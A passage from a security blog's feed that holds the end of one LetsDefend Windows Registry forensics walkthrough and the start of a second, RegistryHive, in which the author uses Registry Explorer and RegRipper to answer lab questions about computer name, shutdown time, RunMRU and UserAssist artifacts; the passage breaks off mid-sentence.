src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/bf487c16b136b27095b587fbee1a5cdb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-the-user-opened-mspaint-on-their-work-pc-can-you-determine-the-exact-time-it-happened&#34;&gt;Question 9: The user opened MSPaint on their work PC. Can you determine the exact time it happened?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we now need to determine the exact time a user on the system opened MSPaint. To accomplish this, we&amp;rsquo;ll continue using the available bookmarks to search against the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive, this time selecting the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RunMRU (Most recently run programs)&lt;/strong&gt;&amp;quot;&#xA; bookmark.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, the &lt;strong&gt;Most Recently Used (MRU)&lt;/strong&gt; artifacts &amp;quot; # &amp;ldquo;are a variety of artifacts tracked by modern Windows operating systems that provide crucial details regarding the user&amp;rsquo;s interaction with files, folders, and programs that may have been executed using the Windows Run utility.&amp;ldquo;So, by browsing this key we may be able to identify where the user launched Microsoft Paint using the run utility.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;513&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/2a6e9361f9660f4fdfc0a63de86f9c75_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the RunMRU bookmark&lt;/p&gt;&#xA;&lt;p&gt;Once the key has loaded, we&amp;rsquo;ll locate the &lt;code&gt;mspaint&lt;/code&gt; executable and find the timestamp we&amp;rsquo;re searching for in the &lt;code&gt;Opened On&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/20822a952f74ee4f8f11d4037063b623_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Opened On&amp;rdquo;&#xA;date/time for MSPaint&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7bd80bb020593f144472ac27d214dc89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-can-you-find-out-how-long-the-user-had-mspaintopen&#34;&gt;Question 10: Can you find out how long the user had MSPaint open?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! Now that we&amp;rsquo;ve identified when MSPaint was opened, we&amp;rsquo;ll now need to continue analyzing the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive to determine how long the application was open. For this task, we&amp;rsquo;ll use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UserAssist (Recently accessed items)&lt;/strong&gt;&amp;rdquo;&#xA;bookmark to analyze the artifacts.&lt;/p&gt;&#xA;&lt;p&gt;For the last time, let&amp;rsquo;s reference &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/artifact-profile-userassist/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; to learn more about these artifacts:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;UserAssist is a feature in Windows that tracks the usage of executable files and applications launched by the user. It stores this information in the Windows Registry, which can be accessed by forensic analysts to reconstruct a timeline of application usage and user activity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/eb3c4ee3bd96e69fa5d6ffd3e4f5cb44_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the UserAssist bookmark&lt;/p&gt;&#xA;&lt;p&gt;After selecting the bookmark, we&amp;rsquo;ll see quite a few entries. To narrow it down, we can type &amp;quot; # &amp;ldquo;paint&amp;quot;into the &lt;code&gt;Program Name&lt;/code&gt; field to filter the results. After that, we can see the total time the application was open in the &lt;code&gt;Focus Time&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e55a7422b2a51f5f8d6f1469fed87d10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Focus Time&amp;rdquo;&#xA;for MSPaint&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s submit the answer and wrap up our investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/13b80a5fd1131abeced52166f320fb2e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;321&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/db8d78c37a2f32825c4c54872ff16ddd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! By leveraging Eric Zimmerman&amp;rsquo;s tools to analyze the Windows Registry image, including the SAM, SOFTWARE, SYSTEM, UsrClass, AmCache, and NTUSER hives, we&amp;rsquo;ve successfully navigated this investigation. Throughout this challenge, we&amp;rsquo;ve identified device details, application information, and even found evidence of malware on the device, all while gaining a deep understanding of several forensic artifacts within the registry. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Registry&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another awesome and engaging lab, and a shout out to &lt;strong&gt;Magnet Forensics&lt;/strong&gt; for their fantastic blog, which was crucial in helping contextualize this investigation and providing deep insights into the registry forensics process. I hope that the links are a value add for your own investigations in the real world. I chose another registry challenge this week to keep pushing myself to learn more about the registry artifacts. This challenge was an excellent next step as it required a variety of tools and research to find the correct information, which better equips me for real-world engagements — awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/windows-registry&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools - (Registry Explorer, ShellBags Explorer, AppCompatCacheParser, &amp;amp;AmcacheParser):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics Blog:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/resource-center/blogs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/resource-center/blogs/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Registry Hives:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;Forensic Analysis of Windows Shellbags&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Wikipedia — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tom Clancy&amp;rsquo;s Rainbow Six Siege&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;ShimCache vs AmCache: Key Windows Forensic Artifacts&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;What is MRU (Most Recently Used)?&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics &amp;quot; # &amp;ldquo;Forensic analysis of the Windows UserAssist artifact&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/artifact-profile-userassist/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/artifact-profile-userassist/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — RegistryHive Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/</link>
            <pubDate>Sun, 27 Apr 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — RegistryHive Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-registryhive-challenge-walkthrough&#34;&gt;LetsDefend— RegistryHive Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-registry-dump-with-registry-explorer-and-regripper&#34;&gt;Investigating a Registry Dump with Registry Explorer and RegRipper.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/registryhive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegistryHive&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re going deep into investigating the &lt;strong&gt;Windows Registry&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You&amp;rsquo;re a forensics analyst and have a registry dump. Try to analyze the evidence and answer the questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re assuming the role of a digital forensics analyst and are provided with a registry dump of a Windows device. Our objective is to analyze the artifacts and determine the answers to several questions to move through our investigation.&lt;/p&gt;&#xA;&lt;p&gt;To aid in our investigation, we&amp;rsquo;re going to leverage several tools, including &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegRipper&lt;/strong&gt;&lt;/a&gt; and Eric Zimmerman&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;, to view, search, and interpret data within the various registry hives to get a comprehensive view of the system. Since this is my first time testing these tools, we&amp;rsquo;ll explore multiple ways of finding the information while we discover the various features of the tools, and I&amp;rsquo;ll explain the approach along the way, making this a great primer into the world of registry forensics!&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-computer-name-of-thismachine&#34;&gt;Question 1: What is the Computer name of this machine?&#xA;&lt;/h3&gt;&lt;p&gt;To kick off our investigation, let&amp;rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s take a look at the challenge artifacts in the &lt;code&gt;RegistryHive &amp;gt; Regs&lt;/code&gt; directory. We&amp;rsquo;ll see that the folder contains a dump of the &lt;strong&gt;Windows&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Hives&lt;/strong&gt;&lt;/a&gt; (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we&amp;rsquo;ll need to analyze to tackle the investigation.&lt;/p&gt;&#xA;&lt;p&gt;Each of these hives contain different keys pertaining to various aspects of the device. Don&amp;rsquo;t worry, we&amp;rsquo;ll go into these in more detail later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;576px&#34; data-flex-grow=&#34;240&#34; height=&#34;333&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/7875ea411058679dc7cb40e3b7074f00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hive artifacts&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s check out the contents of the &lt;code&gt;Tools&lt;/code&gt; folder within the analysis environment. Inside, we&amp;rsquo;ll see that we have access to three tools that are used to parse and view registry hives — very handy, indeed!&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;: Part of Eric Zimmerman&amp;rsquo;s tool suite. This GUI-based tool is a &amp;quot; # &amp;ldquo;Registry viewer with searching, multi-hive support, plugins, and more.&amp;ldquo;2. &lt;a class=&#34;link&#34; href=&#34;https://github.com/keydet89/RegRipper3.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RegRipper2.8/3.0&lt;/strong&gt;&lt;/a&gt;: Two versions of RegRipper, a registry forensics tool used to extract information from registry hives using plugins. Version 2.8 is no longer maintained, but sometimes different versions of a tool give different outputs&amp;hellip;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;761px&#34; data-flex-grow=&#34;317&#34; height=&#34;252&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/db76379908b89a432032e6163180b99e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the Tools folder&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the background information out of the way, let&amp;rsquo;s get into the investigation! Our first task is to identify the Computer Name within the registry hives. We can locate this information in the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive, which contains the system&amp;rsquo;s configuration settings. To view this information, let&amp;rsquo;s check out &lt;strong&gt;Registry Explorer&lt;/strong&gt; by performing the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extract Registry Explorer and open the application.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;File &amp;gt; Load Hive&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive from the &lt;code&gt;Regs&lt;/code&gt; directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now that we have the SYSTEM hive loaded in Registry Explorer, we can work smarter and leverage the search box and enter &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;computer name&amp;rdquo;&#xA;into the field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;314px&#34; data-flex-grow=&#34;130&#34; height=&#34;611&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c67f7b112576b87881466a84a21b8d6f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Searching the SYSTEM hive for Computer Name&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the correct key within the hive, and we can view the &lt;code&gt;ComputerName&lt;/code&gt; value to find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f87533b84b09bde62350898bee22045e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-last-shutdown-time-for-thismachine&#34;&gt;Question 2: What is the last shutdown time for this machine?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we&amp;rsquo;ll need to determine the last shutdown time for the machine from the artifacts. For this task, we&amp;rsquo;ll continue using Registry Explorer with the SYSTEM hive.&lt;/p&gt;&#xA;&lt;p&gt;Instead of using the search field to find this string like we did for the last question, let&amp;rsquo;s leverage the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bookmarks&lt;/strong&gt;&amp;rdquo;&#xA;tab. Bookmarks are built into Registry Explorer and flag common artifacts, saving us time hunting. Putting this into practice, we&amp;rsquo;ll use the following process to find the &lt;strong&gt;Windows (Last shutdown time)&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Within Registry Explorer, press &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Bookmarks.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Select the &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Common&amp;quot;&#xA;tab and scroll down to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Windows (Last shutdown time).&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Selecting this option will navigate you to the correct key containing the value we&amp;rsquo;re looking for.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/a039612faf642f199e651811393e8ccf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Using Bookmarks to Identify the Last Shutdown Time&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s just one small hiccup. Did you notice that the data isn&amp;rsquo;t displayed in a readable Date/Time format? There are a couple of ways we can solve this dilemma, covered below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-1-the-simple-method-using-the-data-interpreter&#34;&gt;Option 1: The simple method using the Data interpreter.&#xA;&lt;/h4&gt;&lt;p&gt;The first way we can approach this is to right-click the &lt;code&gt;ShutdownTime&lt;/code&gt; value and then select, **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Data interpreter&amp;quot;&#xA;**.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/f32f15ab047b6aa1f571491b827215ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Data Interpreter&lt;/p&gt;&#xA;&lt;p&gt;Once the Data Interpreter window opens, we can see the interpreted &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows FILETIME&lt;/strong&gt;&lt;/a&gt; value: &lt;code&gt;2023-03-23 21:53:11&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;541&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-registryhive-challenge-walkthrough/c86390a6dade276d44c4b6241bdfb3c1_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-b-converting-the-data-with-cyberchef&#34;&gt;Option B: Converting the data with CyberChef.&#xA;&lt;/h4&gt;&lt;p&gt;I&amp;rsquo;ll admit, this was the first approach I took before discovering the data interpreter (&lt;em&gt;read the manual, my friends&lt;/em&gt; ðŸ˜‘), but I&amp;rsquo;m leaving this option here in case you ever run across 